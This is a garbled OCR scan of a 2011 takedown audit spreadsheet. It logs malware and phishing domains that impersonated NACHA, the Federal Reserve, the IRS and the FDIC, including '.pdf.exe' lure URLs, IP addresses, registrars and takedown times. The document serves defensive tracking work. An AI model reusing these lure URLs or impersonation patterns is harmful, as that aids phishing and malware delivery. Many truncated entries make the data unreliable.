77467 |htt; 'mynacha-solutions-o.info 4/22/2011 11:11 | 4/22/2011 14:01 mal 4.202.189.170 oDaddy.com Inc. (R171-LRMS) S 2.84
77468 |htt; nacha-solutions- info 4/22/2011 11:12 | 4/22/2011 14:01 mal 4.202.189.170 oDaddy.com Inc. (R171-LRMS) S 2.82
77469 |htt; nacha-report-d: lod.com/ACH_REPORT_A87431263.pdf.exe 4/22/2011 11:39 4/26/2011 9:05 mal 7.195.145.142 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 93.43 3
77470 |htt; roncbag.cz.cc/forum.php?tp=040a529794b30fb1 4/22/2011 11:38 | 4/26/2011 18:51 mal 95.28.10.36 | %ON]KER RU 03.23 4
77472 |htt; T ionst.info 4/22/2011 12:28 | 4/22/2011 14:02 mal 4.202.189.170 oDaddy.com Inc. ys 1.56
78428 |htt; nacha-report- info/ACHO050411.pdf.exe 5/4/2011 12:45 5/6/2011 12:58 mal 7.195.145.142 elbourne IT Ltd. (R141-LRMS) S 48.21
78429 |htt; fisixjhia.co.be/forum.php?tp=b4431698650e7de4 5/4/2011 13:28 5/5/2011 13:33 mal 4.63.149.53 | urodns S.A. RO 24.08 5
79866 | http:, 0.be/forum.php?tp=1a1c0cd328499f08 5/17/2011 1:52 5/18/2011 8:50 mal 93.105.121.158 urodns S.A. A 30.97 1 [Renewal
79948 |http:, e-report-d. load.info/WIRE20110517.pdf.exe 5/18/2011 7:03 | 5/18/2011 11:54 mal 7.195.145.141 ‘AHOO S 4.86 2
80457 |htt Idofoibi cc/forum.php?tp= 22205189962 5/24/2011 20:35 5/25/2011 5:45 mal 2.38 92 | jotFree Group s.r.o. RU 9.16 3
80482 |htty perveneratio.com/report.exe 5/25/2011 4:25 5/25/2011 5:42 mal 2.197.131.46 | ttractSoft GmbH OE 1.28 4
80498 | htty nacha-report-domain-syst.info/ACH052411-003.pdf.exe 5/25/2011 8:43 | 5/26/2011 10:23 mal 7.195.145.142 ahoo S 25.67
80941 |htty nbhibyatrsd.cz.cc/forum.php?tp=02be77593f350f96 5/27/2011 3:47 5/28/2011 9:44 mal 2.38 92 | lotFree Group s.r.o. RU 29.95
80943 | htty e-report-domain.info/ACH052611-027.pdf.exe 5/27/2011 6:35 | 5/28/2011 13:26 mal 7.195.145.142 ahoo S 30.85
81242 |htty dfufre cz.cc/forum.php?tp=90c8a53a07d5631d 6/1/2011 2:49 6/1/2011 7:22 mnal 2.38 92 | Z.CC RU 4.55
82450/ http://eqrgbczbdager.cz.cc/index.php?tp=9d115d3281bf4214 6/16/2011 9:52 | 6/16/2011 12:55 mal 85.15.231.112 | Z.CC Corp. i 3.05 | 5
82771 |htty irs-reports.com/federalreserve.report.pdf.exe 0/2011 15:50 | 6/20/2011 17:46 mal 7.195.145.142 FELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 1.93
83447 |htty nacha-report.org/transaction-report.pdf.exe 4/2011 11:41 6/24/2011 19:04 mal 7.195.145.141 ‘ahoo S 7.38
83448 |htty personal-web-security.org/published-information.exe 4/2011 11:42 | 6/24/2011 15:33 mal 7.195.145.141 Yahoo, Inc. S 3.85
83671 nacha-reports-d com/cancelled-transaction.pdf. 7/2011 16:13 6/28/2011 8:52 mal 7.195.145.141 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 16.65
83672 h.cz.cc/forum.php?tp=ec13bb967384b4ab 7/2011 16:55 | 6/28/2011 19:08 mal 111.51.100 | IONIKER AZ 26.21 6

3680 nacha-reports.org/ACH7538001.pdf.exe 7/2011 18:55 | 6/28/2011 21:39 mal 7.195.145.141 ‘AHOO ys 26.74
83719 ‘www. reports-nacha.org/transaction-report.pdf.exe 6/29/2011 13:59 mal 7.195.145.141 YAHOO Inc. S 26.23
83727 .cz.cc/forum.php?tp=ee2ef72f535564e9 6/29/2011 11:05 mal 111.51.100 | tONIKER AZ 23.11
83819 p8.hostingprod.com/@nacha-reports.us/transaction-report.pdf.exe 6/29/2011 14:00 mal 7.195.140.223 ahoo S 4.54 7
83895 ‘www.federalreserve-govers com/rejected-report.pdf.exe 7/1/2011 20:48 mal 8.139.135.22 | ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 36.71 8
83907 p8.hostingprod.com/@federalreserve-gover com/rejected-report 7/1/2011 20:53 |mal [67.195.140.22 arkmonitor.com s 34.07 9

390! nacha-repor com/rejected-report.pdf.exe 7/1/2011 20:59 mal 139.135.22 MELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 33.75
84470 reports-nacha.com/ACH0538703.pdf.exe 7/9/2011 1:21 mal 139.135.21 ‘AHOO us 16.4 10
84471 br cc/forum.php?tp=6998ca312c143687 10/2011 22:27 mal 07.58.177.96 jotFree Group s.r.o. S 61.25 1 [6/16/11 bucket of 10
85166 1gsw.cx.cc/forum.php?tp=814e9f8081e083c. 20/2011 21:54 mal 111.51.100 oDaddy.com, Inc. AZ 34.5
85193 report-nacha.com/ACH2011761290543.pdf. 20/2011 17:23 mal 8.139.135.21 ahoo S 23.58
85243 alerts-federalresrve.com/rejected wire.pdf.exe 21/2011 17:04 mal 139.135.21 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 34.99
85253 reports-federalreserve.com/rejected wire.pdf.exe 21/2011 17:08 mal 139.135.21 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 32.07
85255 nacha-alert.org/rejected_transfer.pdf.exe 21/2011 17:11 mnal 139.135.22 ‘ahoo ys 31.58
85294 e-security.com/system_update 07.21.11.exe 21/2011 13:44 mal 8.139.135.22 tELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 5.21
85674 nacha-transactions.org/304694305894903.pdf.exe 27/2011 13:13 mal 139.135.21 elbourne IT, Ltd (R52-LROR) S 4.17 2
85680|h ‘www.nacha-rejected.com/304694305894903.pdf.exe 27/2011 13:10 mal 139.135.22 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 3.8

6163 ach-reports.com 8/2/2011 13:19 mal 7.195.145.141 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 4.9 3

6166 nacha-reporte.com 8/2/2011 13:18 mal 7.195.145.142 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 4.56 4
86167 nachareport.com 8/2/2011 13:16 mal 7.195.145.141 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 4.56

616! reports-nacha.com 8/2/2011 13:15 mal 7.195.145.141 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 4.48
86169 report com 8/2/2011 13:16 mal 7.195.145.142 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 4.38

6662 irs-alerts-report.com/your-tax-report.pdf.exe 2011 17:18 | 8/10/2011 20:00 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 26.7 5
86664 .com/wire-report.pdf.exe 2011 18:00 8/11/2011 2:22 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 32.36
86692 nacha-files.com/transaction_report.pdf.exe 0/20114:43 | 8/10/2011 20:03 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 15.34
86694 files-irs-pdf.com/tax_00077034772.pdf.exe 0/2011 4:50 | 8/10/2011 19:57 mnal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 15.11
86844 findnachareport.com/ACH20110218002.doc.exe 2/2011 7:03 | 8/13/2011 12:24 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 29.34 6

6881 ‘get-ach-report.com 2011 16:41 8/13/2011 12:13 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 19.54

6883 'you-ach-report.com 2011 16:59 | 8/13/2011 12:16 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 19.29
86884 ‘your-nacha-report.com 2011 17:12 | 8/13/2011 12:13 mnal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 19.01
86885 'yournachareport.com 2011 17:26 | 8/13/2011 11:57 mnal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 18.52
87115 ‘ach-nacha.com/canceled_report_43893892.pdf.exe 8/16/2011 7:24 | 8/16/2011 10:35 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 3.18 7
87116 nacha-ach.com/canceled_report_43893842.pdf.exe 8/16/2011 7:52 8/16/2011 8:21 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 0.48
87349 ‘ach-files-alert.com/ACH20110819.doc.exe 8/19/2011 7:06 | 8/19/2011 23:37 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 16.52 8
87377 ‘xdcvygki jmnds.cu.cc/forum.php?tp=861a283626b5fe6b 2011 12:14 8/20/2011 0:22 mal 5.163.66.180 IONIKER RU 12.13 9
87429 ach-files-alert.com/?63038795589364 2011 21:55| 8/19/2011 23:19 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 1.39
87786 nacha-online.org/report_3050439643.pdf.exe 2011 12:19 | 8/24/2011 13:45 mal 67.195.140.36 elbourne IT, Ltd (R52-LROR) S 1.43 10
87844 dcfictykdyywrth.cOm.li/forum.php?tp=760f64425fc68bd2 8/25/2011 5:21 8/25/2011 13:38 mal 89.208.34.116 DINETHOSTING RU 8.28 1 [9/8/11 bucket of 10
87849 nachauserinfo.com/ALERT20110824.pdf.exe 8/25/2011 5:37 | 8/25/2011 13:16 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 7.65
87852 nachainfo-store.com 8/25/2011 6:14 | 8/25/2011 13:50 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 7.61
87853 nachaclientsinfo.com 8/25/2011 6:02 | 8/25/2011 13:45 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 7.71
87854 nachauser-info.com 8/25/2011 6:43 | 8/25/2011 13:39 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 6.93
87855 nacha-info-store.com 8/25/2011 6:53 | 8/25/2011 13:34 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 6.69
87897 ‘get2-nacha-report.com 2011 23:52 | 8/26/2011 13:54 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 14.04 2
87924 report.com 26/2011 8:20 | 8/26/2011 14:02 phis| 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 5.7
87926 2report-nacha-org.com 6/2011 8:30 | 8/26/2011 13:54 phis| 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 5.39
87927 ‘quick-report-nacha.com 6/2011 8:24 | 8/26/2011 14:04 phi: 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 5.66
8792 ‘nachaor .com 6/2011 8:34 | 8/26/2011 14:06 phi: 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 5.52
87933 ‘quickreportnacha.com/ALERT20110825.pdf. 6/2011 8:54 | 8/26/2011 14:06 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 5.2
87933 ‘quickreportnacha.com/ALERT20110825.pdf. 6/2011 8:54 | 8/26/2011 14:06 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE {S 5.2
88199 T 0/2011 6:01 8/30/2011 17:26 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 11.4 3

213 ‘getnacha-info.com 2011 13:03 | 8/30/2011 17:35 mnal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 4.54
88214 userinfo-nacha.com 2011 13:01 8/30/2011 17:28 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 4.45
88217 ‘www.newt com 2011 13:00 | 8/30/2011 17:36 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 4.6
21 ‘wergcrhvtyifupgasf.cx.cc/main.php?page=0b2d445ee4479ec7 2011 13:39 8/31/2011 8:19 mal $9.208.34.116 fir CX.CC RU 18.67 4
222 nacha--user--news.com 2011 13:37 | 8/30/2011 17:23 mnal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 3.78
223 newsnachausers.com 2011 13:48 | 8/30/2011 17:20 mnal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 3.53
88224 nacha-users-info.com 2011 14:04 | 8/30/2011 17:17 mnal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 3.22
251 eftpsinfo-center.com 31/2011 7:00 | 8/31/2011 17:05 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 10.09 5
irs-data-storage.com 8/31/2011 7:10 | 8/31/2011 17:16 mal 7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 10.09
‘cdethstfrihstfrieadfrds.cx.cc/main.php?page=_2eff3ec71fd39078 8/31/2011 7:02 9/1/2011 23:56 mal iche Republic (cx.cc) RU 40.9
Wwi eport.com 8/31/2011 11:00 | 8/31/2011 19:22 mal 19! ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.36
nacha-transferreport.com 9/7/2011 7:56 9/7/2011 13:30 mal 7.19! ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 5.56 6
cz.cc/main.php?page=2f692fo8fde2d51e 9/7/2011 9:00 9/7/2011 13:28 mal 9. 21 jotFree Group s.r.o. RU 4.47 7
nacha-achalert.com 9/7/2011 9:13 9/7/2011 13:27 mal 7.195.140.36 *ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 4.24
dtfrsykdfiof cz.cc/main.php?page=2f692f98fde2dS1e 9/7/2011 9:15 9/7/2011 13:32 mal 89.208.34.84 jotFree Group s.r.o. RU 4.29
nacha-re t.com 9/7/2011 13:18 9/7/2011 13:25 mal 7.195.140.36 LTD. D/B/A INTERNET NAMES WORLDWIDE US 0.11
T -report.com 9/7/2011 13:21 9/7/2011 13:25 mal 7.195.140.36 LTD. D/B/A INTERNET NAMES WORLDWIDE US 0.08
arrested-t: com 9/8/2011 8:20 9/8/2011 11:59 mal 7.195.140.36 LTD. D/B/A INTERNET NAMES WORLDWIDE US 3.66 8
report-007298492us.com 9/8/2011 8:25 9/8/2011 11:48 mal 7.195.140.36 LTD. D/B/A INTERNET NAMES WORLDWIDE US 3.38
irs-00038004800us.com 9/8/2011 9:13 9/8/2011 11:52 mal 7.195.140.36 LTD. D/B/A INTERNET NAMES WORLDWIDE US 2.64
irs-000787002900us.com 9/8/2011 9:27 9/8/2011 11:55 mal 7.195.140.36 LTD. D/B/A INTERNET NAMES WORLDWIDE US 2.48
usa-itunes.com/0000070075060US.DOC.exe 9/9/2011 9:23 9/9/2011 21:11 mal 7.195.140.36 LTD. D/B/A INTERNET NAMES WORLDWIDE US 11.79 9
musicmar 24.tw/main.php?page=cOecbef07f01604c 9/9/2011 8:48 9/9/2011 13:40 mal 95.184.86.38 A 4.88 10
newnacha-filereport.asia 9/9/2011 8:49 9/9/2011 13:24 mal 4.202.189.170 Inc. R45-ASIA (146) S 4.58 1
theach-nacha-report-d load.asia 9/9/2011 8:54 9/9/2011 13:26 mal 4.202.189.170 Inc. R45-ASIA (146) S 4.53
‘ach-nacha-report-dowr asia 9/9/2011 9:03 9/9/2011 13:56 mal 4.202.189.170 Inc. R45-ASIA (146) S 4.88
nacha-filereportsite.asia 9/9/2011 9:55 9/9/2011 13:28 mal 4.202.189.170 Inc. R45-ASIA (146) S 3.56
'mynacha-filereport.asia 9/9/2011 9:56 9/9/2011 13:30 mal 4.202.189.170 Inc. R45-ASIA (146) S 3.57
‘achnac naldownload.asia 9/9/2011 9:58 9/9/2011 13:32 mal 4.202.189.170 Inc. R45-ASIA (146) S 3.57
‘achnac asi 9/9/2011 11:57 9/9/2011 13:50 mal 4.202.189.170 Inc. R45-ASIA (146) S 1.89
nacha-filereportonline.asia 9/9/2011 11:58 9/9/2011 14:04 mal 4.202.189.170 Inc. R45-ASIA (146) S 2.11
cha-filereportstore.asia 9/9/2011 12:01 9/9/2011 14:10 mal 4.202.189.170 Inc. R45-ASIA (146) S 2.14
bestach-nacha-report-d load.asia 9/9/2011 12:03 9/9/2011 14:03 mal 4.202.189.170 Inc. R45-ASIA (146) S 2.01
nachafilereport.asia 9, 9/9/2011 13:56 mal 4.202.189.170 Inc. R45-ASIA (146) S 1.9
‘cardholder-security.com 9, 9/13/2011 8:1 67.195.140.36 MELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE |US 1.03




Bufi itiati ttack Typ P NACHA TAKEDOWN AUDIT Registrar Geo DuratiosBillabld Notes
westerr net 9/13/20117:12 | 9/13/2011 12:48 malware 67.195.140.36 %ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 5.61
4blog.com/main.php?page=c 13338 9/13/20119:59 | 9/13/201112:30 falware _ 51.31.74.37 heap-D. ration.com z 2.51
; info/main.php?page= 13338 9/13/20117:24 | 9/13/201112:44 fnalware _ 51.31.74.37 Wild West Domains (R213-LRMS) z 532 | 2
nacha-portal.com/report_41059225205524.pdf.exe 9/13/20117:13 | 9/13/201117:08 falware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 9.91
‘www.nachanewsar com 9/13/2011 7:14 | 9/13/2011 16:42 malware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 9.47
sahdyihdtyktrydfq.cz.cc/main.php?page=8ef63c2673c6f66a 9/13/20117:29 | 9/13/201117:31 falware _51.31.74.37 ONIKER z 10.04
.nacha-news-portal.com 9/13/2011 8:45 | 9/13/2011 16:49 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 8.06
a-newsportal.com 9/13/2011 8:45 | 9/13/2011 16:59 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.22
haportal.com 9/13/20117:46 | 9/13/2011 16:18 Malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE (S 8.53
haserver-portal.com 9/13/2011 8:46 | _9/13/2011 16:55 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.16
haserverportal.com 9/13/2011 8:46 | _9/13/2011 17:05 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.32
a-server-portal.com 9/13/2011 8:46 | _9/13/2011 17:04 malware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 8.31
haportalserver.com 9/13/2011 8:48 | 9/13/2011 17:18 falware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.51
-portal.com 9/13/2011 8:49 | 9/13/2011 17:13 fnalware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.39
tal.com 9/13/20118:51 | 9/13/2011 16:49 Malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 7.96
a-news-archive.com 9/13/20119:34 | 9/13/2011 17:00 alware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 7.44
a-portal-server.com 9/13/20119:52 | 9/13/2011 17:28 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 7.6
pending-payment.com 9/13/2011 8:56 | _9/13/2011 12:09 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 3.22
us-ccsecurity.com 9/13/20119:19 | 9/13/2011 12:25 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE (S 3.11
us-credit-security.com 9/13/20119:30 | 9/13/2011 12:17 fnalware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 2.79
card-security.net 9/13/2011 11:15| 9/13/2011 12:38 fmalware _7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 1.39
nachaport.com 9/14/2011 6:12 | 9/14/2011 15:03 Malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.85 | 3
cwrhryjifdhsrsdfe.cz.cc/main.php?page=ad891989d Ledae62 9/14/2011 6:40 |_9/14/2011 15:05 fnalware _ 51.31.74.37 ONIKER z 842 | 4
nacha-port.com 9/14/2011 6:48 | 9/14/2011 15:00 Malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.2
nacha-news--portal.com 9/14/2011 6:56 | _9/14/2011 15:04 malware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.14
88964 ‘www.portalnachas.com 9/14/2011 6:50 | _9/14/2011 14:59 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.15
88965 http://nacha-urgent-portal.com 9/14/2011 6:51 | 9/14/2011 14:57 malware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 8.11
966) nachas-portal.com 9/14/2011 6:48 | 9/14/2011 14:56 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 8.14
6 nacha-news-download.com 9/14/2011 6:52 | _9/14/2011 14:56 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 8.06
88970 getnachanews.com 9/14/2011 6:52 | 9/14/2011 14:42 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 7.84
88971 T tal.com 9/14/2011 6:51 | 9/14/2011 14:39 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 7.79
88972 get-nacha-news.com 9/14/2011 6:51 | 9/14/2011 14:48 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 7.95
88975 nacha--news-download.com 9/14/2011 8:25 | 9/14/2011 14:56 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 6.51
88985 nacha-port.com/report_7161400016671.pdf.exe 9/14/2011 11:47 | _9/14/2011 14:35 Mmalware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 2.8
89035 fdicuser-advice.com 9/15/2011 7:47 | 9/15/2011 17:03 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 9.26 | 5
9036]http://fdic-insurance.com 9/15/20117:52 | 9/16/2011 9:20 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE (S 25.45
89037 |http: .cz.cc/main.php?page=_2ef5c8d245d84484 9/15/20118:08 | 9/17/2011 1:23 fnalware _ 51.31.74.37 ONIKER z 4125 | 6
89039 fdic-advantage.com 9/15/20119:40 | 9/15/2011 17:05 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 7.42
89040 customer.com 9/15/2011 9:50 | _9/15/2011 17:01 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 7.18
89042 -news.com 9/15/2011 10:03 | _9/15/2011 19:36 fmalware _7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 9.55
89045 |http://viewfdiccustomer.com 9/15/201110:28 | 9/15/2011 17:07 talware _7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 6.64
89050 fdic-customer: com/INFORMATION6473743949.pdf.exe 9/15/201112:05| _ 9/16/2011 9:23 tmalware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 21.3
89108|http://nachauser-storeinfo.com 9/16/2011 5:25 | 9/16/2011 19:09 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 13.73
89109 sdfager.cz.cc/main.php?page=6ab9084ab99c9482 9/16/20115:38 | 9/17/2011 1:28 falware _51.31.74.37 ONIKER z 19.82
89111 nacha-customer.com 9/16/2011 5:54 | 9/16/2011 19:43 Malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 13.82
89112 a-userl com 9/16/2011 6:22 | 9/16/2011 19:12 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 12.85
89117 a-user om 9/16/20117:11 | 9/17/2011 1:20 alware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 18.14
8911 hacustomer-news.com 9/16/20118:02 | 9/17/2011 1:09 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 17.12
89119 hausersalert.com 9/16/20118:05| 9/17/2011 1:08 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 17.06
89120 hauser-budgetinfo.com 9/16/2011 8:06 | _9/16/2011 19:19 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 11.21
89122 a-feedback.com 9/16/2011 7:48 | 9/16/2011 18:55 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 11.13
89123 a-comparison.com 9/16/2011 8:07 | _9/16/2011 19:03 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 10.93
89124 a-userauthorization.com 9/16/2011 8:09 | _9/16/2011 19:50 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 11.68
89127 hauser-feedback.com 9/16/20118:10 | _9/16/2011 18:48 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 10.63
89129 hauser-storeinfo.com/report_6311400016671.pdf.exe 9/16/2011 9:05 | 9/16/2011 19:26 malware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 10.33
89130|http://nacha-creditor.com/report_ACH.pdf.exe 9/16/2011 9:45 | 9/16/2011 19:35 malware _ 67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 9.84
89135|http://nacha-advertisement.com 9/16/2011 12:27 | 9/16/2011 19:01 Mmalware _7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 6.58
89137 |http://nacha-wirecosts.com 9/16/201112:35 | 9/16/2011 19:56 fmalware _7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 7.36
89139 |http://nacha-ach.org 9/16/201112:53 | 9/16/2011 15:29 fmalware _7.195.140.36 elbourne IT, Ltd (R52-LROR) Us 2.59
89142 |http://nacha-trans.org 9/16/201113:33 | 9/17/2011 1:08 falware _7.195.140.36 Melbourne IT, Ltd (R52-LROR) Us 11.59
89144 |http://nacha-wire.org 9/16/2011 13:30 |_9/16/2011 14:41 malware _7.195.140.36 Melbourne IT, Ltd (R52-LROR) Us 1.17
89145 |http://nachauser-tools.com 9/16/201113:29 | 9/16/2011 18:51 fmalware _7.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 5.36
89154 |http://nacha-customer com 9/16/2011 16:46 | 9/16/2011 19:22 Mmalware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE US 2.6
89271]http://usernacha-wireinfo.com 9/19/2011 5:42 | 9/19/2011 22:17 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 16.58 | 7
89272 |http://customernacha-tools.com 9/19/2011 5:50 | _9/19/2011 22:18 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 16.47
89273 |http://all-nacha-datainfo.com 9/19/2011 5:47 | 9/20/2011 9:42 fnalware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 27.92
89274 |http://ififhfy .cz.cc/main.php?page=46df6916c2a87d98 9/19/20115:52 | _9/20/2011 19:31 falware _ $5.163.88.212 ONIKER AU 3764 | 8
89276|http://r -usertools.com 9/19/2011 6:06 | _9/19/2011 22:19 falware _67.195.140.36 ELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE S 16.21
